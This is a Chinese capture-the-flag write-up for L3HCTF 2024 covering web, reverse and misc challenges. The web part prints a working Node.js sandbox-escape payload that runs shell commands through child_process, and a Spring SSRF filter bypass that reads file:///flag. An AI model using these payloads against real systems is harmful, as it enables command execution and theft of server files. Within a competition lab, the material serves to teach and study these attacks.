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Web:
escape-web
好像没法反弹shell？遠程不出网并且需要docker逃逸。
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
var a =inspect.constructor(‘return process’)().mainModule.require(‘child_process’).execSync(‘ls’).toString();
console.log(a);
},
valueOf: undefined,
constructor: undefined,
}
WebAssembly.compileStreaming(obj).catch(()=>{});
mount /dev/sda1 /mnt Not privileged mode
Docker Socket is not mounted.
Procfs is not mounted.
/usr/local/lib/node_modules/npm/node_modules/tar/lib/get-write-flag.js
/usr/local/lib/node_modules/npm/node_modules/@colors/colors/lib/system/has-flag.js
/usr/local/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/calc-dep-flags.js
/usr/local/lib/node_modules/npm/node_modules/@npmcli/arborist/lib/reset-dep-flags.js
/usr/local/include/node/cppgc/internal/atomic-entry-flag.h
/sys/devices/pnp0/00:04/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/proc/sys/kernel/acpi_video_flags
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
/proc/kpageflags
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/HQEJT3S2NCMCVKGHH4SF3RDVMA:/var/lib/docker/overlay2/l/6KYM5WPXYKTWZWALJBOVWBUEVZ:/var/lib/docker/overlay2/l/OXENVSFPHLOFB2X2HUH62P74JQ:/var/lib/docker/overlay2/l/ZPW4OHQ6XGZQRWP4SBGWSWYIAM:/var/lib/docker/overlay2/l/AHHJVJDTXW3SM5ZVQ6EVC6RCOY,upperdir=/var/lib/docker/overlay2/514c0d3ab08f9e3ac0044a6a12f363f91f2dca87cef7d29ae2af8d3e4cbf56ea/diff,workdir=/var/lib/docker/overlay2/514c0d3ab08f9e3ac0044a6a12f363f91f2dca87cef7d29ae2af8d3e4cbf56ea/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,relatime,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup ro,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0
cgroup /sys/fs/cgroup/rdma cgroup ro,nosuid,nodev,noexec,relatime,rdma 0 0
cgroup /sys/fs/cgroup/blkio cgroup ro,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/devices cgroup ro,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup ro,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup ro,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/pids cgroup ro,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/freezer cgroup ro,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/memory cgroup ro,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/cpuset cgroup ro,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/perf_event cgroup ro,nosuid,nodev,noexec,relatime,perf_event 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
/dev/vda1 /app ext4 rw,relatime,errors=remount-ro 0 0
/dev/vda1 /etc/hostname ext4 rw,relatime,errors=remount-ro 0 0
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /proc/sched_debug tmpfs rw,nosuid,size=65536k,mode=755 0 0
tmpfs /sys/firmware tmpfs ro,relatime 0 0
挂載flag至output.txt即可。
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor(‘return process’)().mainModule.require(‘child_process’).execSync(‘rm /app/output.txt;ln -s /flag /app/output.txt’).toString();
},
valueOf: undefined,
constructor: undefined,
}
WebAssembly.compileStreaming(obj).catch(()=>{});
intractable problem
codes处拼接闭合即可，python弹shell
short_url 顯然是通過SSRF读flag。
要过一下Interceptor，這裏是equals而不是startwith前綴校驗，那麽后面加个/就绕过去了。比如/test/?redirect=
if (!request.getRequestURI().equals("/private") && !request.getRequestURI().equals("/test")) {
return true;
} else {
response.setStatus(418);
return false;
}
通過test路由打/private即可通過SSRF繞過localhost的校驗。
http://localhost:8080/private/?url=file:///flag&url=http://www.example.com
然而还需要过一下BaseURL。getFirst(url)还蛮可疑的，難點在於黄色部分无法绕过，最终肯定是要构造出file:///flag的形式。
@GetMapping({"/test"})
public String test(@RequestParam(name="redirect",required = true) String redirect) {
String url = (String)CacheMap.getInstance().get(redirect);
if (url == null) {
return "url not found";
} else {
UriComponents uri = UriComponentsBuilder.fromUriString(url).build();
String paramUrl = (String)uri.getQueryParams().getFirst("url");
if (paramUrl != null) {
UriComponents newUri = UriComponentsBuilder.fromUriString(paramUrl).build();
String newHost = newUri.getHost();
if (newHost == null || !newHost.equals(this.BaseURL)) {
return "url is invalid";
}
}return this.Fetch(url);
}
}
如果是这样的话双写绕过的话最终fetch的是www.example.com,file://flag導致报错。
http://localhost:8080/private/?url=http://www.example.com&url=file:/
//flag
Host解析会取狗屎正则的group 6的位置，看樣子也是繞不過去的。
https://tooltt.com/regulex/r.html#!cmd=export&flags=&re=%5E((%5B%5E%3A%2F%3F%23%5D%2B)%3A)%3F(%2F%2F((%5B%5E%40%5C%5C%5B%2F%3F%23%5D*)%40)%3F(%5C%5C%5B%5B%5C%5Cp%7BXDigit%7D%3A.%5D*%5B%25%5C%5Cp%7BAlnum%7D%5D*%5D%7C%5B%5E%5C%5C%5B%2F%3F%23%3A%5D*)(%3A(%5C%5C%7B%5B%5E%7D%5D%2B%5C%5C%7D%3F%7C%5B%5E%2F%3F%23%5D*))%3F)%3F(%5B%5E%3F%23%5D*)(%5C%5C%3F(%5B%5E%23%5D*))%3F(%23(.*))%3F
private static final Pattern URI_PATTERN = Pattern.compile("^(([^:/?#]+):)?(//(([^@\[/?#]*)@)?(\[[\p{XDigit}:.]*[%\p{Alnum}]*]|[^\[/?#:]*)(:(\{[^}]+\}?|[^/?#]*))?)?([^?#]*)(\?([^#]*))?(#(.*))?");
Assert.notNull(uri, "URI must not be null");
Matcher matcher = URI_PATTERN.matcher(uri);
if (matcher.matches()) {
UriComponentsBuilder builder = new UriComponentsBuilder();
String scheme = matcher.group(2);
String userInfo = matcher.group(5);
String host = matcher.group(6);
String port = matcher.group(8);
String path = matcher.group(9);
String query = matcher.group(11);
String fragment = matcher.group(13);
boolean opaque = false;
String ssp;
if (StringUtils.hasLength(scheme)) {
ssp = uri.substring(scheme.length());
if (!ssp.startsWith(":/")) {
opaque = true;
}
}
但仔細觀察發現取不到url參數也可以觸發this.fetch()，那麽我們給url參數一個url編碼就能繞過了，spring會再次url decode因此/private路由可以接收到url參數。
用下面的payload訪問share生成短鏈接。隨後交給/test/?redirect=<short_link>即可得到flag。
http://localhost:8080/private/?%75%72%6c=file:///flag
Reverse
babycom
先参考加密方式解密hash，得到enc数据
#include <tchar.h>
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
#include <conio.h>
#include <iostream>int main()
{
HCRYPTPROV phProv;
HCRYPTHASH phHash;
BYTE pbData[32] = {
0xEA, 0x3E, 0xD4, 0x1C, 0x70, 0xCB, 0xD7, 0x47, 0x98, 0x5E,0xCA, 0xDB, 0x53, 0x0C, 0x39, 0x2B, 0xF0, 0x1B, 0xD9, 0x00,0xA2, 0x01, 0x00, 0x00, 0x10, 0x12, 0xD9, 0x00, 0xA2, 0x01,
0x00, 0x00
};
HCRYPTKEY phKey;
BYTE MultiByteStr[32] = { 11, 175, 81, 33, 156, 82, 16, 137, 63, 44, 52, 48, 135, 19, 193, 76, 193, 127, 129, 110, 186, 189, 223, 67, 26, 240, 215, 222, 142, 102,185, 124 };
DWORD pdwDataLen;
pdwDataLen = 32;
CryptAcquireContextA(&phProv, 0i64, 0i64, 0x18u, 0xF0000000);
CryptCreateHash(phProv, 0x8003u, 0i64, 0, &phHash);
CryptHashData(phHash, pbData, 0x10u, 0);
CryptDeriveKey(phProv, 0x660Eu, phHash, 1u, &phKey);
CryptDecrypt(phKey, 0i64, 0, 0, MultiByteStr, &pdwDataLen);
for (int i = 0; i < 32; i++)
printf(“%x “, MultiByteStr[i]);
}
后面是一个常规的xtea
#include <stdio.h>
#include <stdint.h>
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x9E3779B9;
for (i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0; v[1] = v1;
}void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 1131796, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}
int main()
{
uint32_t v[2] = { 0x74c1b42a, 0x05aa59d6 };
uint32_t v1[2] = { 0x9c7f1073, 0x62994940 };
uint32_t v2[2] = { 0x8f51843c, 0xf1ab373f };
uint32_t v3[2] = { 0x9661fe0e, 0x6a41ad45 };
uint32_t const k[4] = { 0x1CD43EEA,0x47D7CB70,0xDBCA5E98,0x2B390C53 };
unsigned int r = 32;//num_rounds建议取值为32// v为要加密的数据是两个32位无符号整数// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
//printf(“加密前原始数据：%u %un”, v[0], v[1]);
//encipher(r, v, k);
//printf(“加密后的数据：%u %un”, v[0], v[1]);
decipher(r, v, k);
printf(“解密后的数据：%x %xn”, v[0], v[1]);
decipher(r, v1, k);
printf(“解密后的数据：%x %xn”, v1[0], v1[1]);
decipher(r, v2, k);
printf(“解密后的数据：%x %xn”, v2[0], v2[1]);
decipher(r, v3, k);
printf(“解密后的数据：%x %xn”, v3[0], v3[1]);
return 0;
}
babyrust
Tauri框架，参考博客提取到js文件
https://blog.yllhwa.com/2023/05/09/Tauri%20%E6%A1%86%E6%9E%B6%E7%9A%84%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90%E6%8F%90%E5%8F%96%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/
关键加密只有一个异或+base
s = 'JFYvMVU5QDoNQjomJlBULSQaCihTAFY='
s = [0x24,0x56,0x2f,0x31,0x55,0x39 ,0x40 ,0x3a ,0x0d ,0x42 ,0x3a ,0x26 ,0x26 ,0x50 ,0x54 ,0x2d ,0x24 ,0x1a ,0x0a ,0x28 ,0x53 ,0x00 ,0x56]
t = "secret"
for i in range(len(s)):
print(chr((s[i])^ord(t[i%len(t)])),end="")
#W3LC0M3_n0_RU57_AnyM0r3
Misc
checkin
End_of_Programming 認真描述題目，描述清楚問題。數據範圍以及輸出形式就好了，注意用英文提問。
Problem Description:
Dr. Dai raises many Pals for his scientific research. As Dr. Dai is a loving person, he prepares food for these Pals every day.
Now we have $a$ Pals that only love to eat meat, $b$ Pals that absolutely do not eat meat, and $c$ Pals that eat anything.
The East-1th student canteen provides $m$ types of dishes and stipulates that each dish can only be bought once. The $i$-th dish has a price $c_i$, and has a character $A$ or $B$, indicating whether it is a vegetarian dish or a meat dish.
Now, Dr. Dai hopes to feed as many Pals as possible and, given the limited research funds, also hopes to minimize the cost under this premise. Please calculate the maximum number of Pals he can feed, and the minimum amount of money he needs to spend in this situation.
Input Format:
The first line contains three integers a b c
The next line is an integer m
The following m lines, each representing the value and category of the food, A for vegetarian, B for meat.
Output Format:
Two numbers, representing the number of Pals that can be fed and the total cost, respectively.
Tips:
For 10% of the data, it is guaranteed that a=b=0
For 30% of the data, it is guaranteed that 1 <= a,b,c <= 100, 1 <= m <= 100
For 100% of the data, it is guaranteed that 1 <= a,b,c <= 10^5, 1 <= m <= 3 * 10^5
All ci <= 10^9
pleas output the solution cpp code
– END –
原文始发于微信公众号（ChaMd5安全团队）：L3HCTF 2024 WriteUp By Mini-Venom
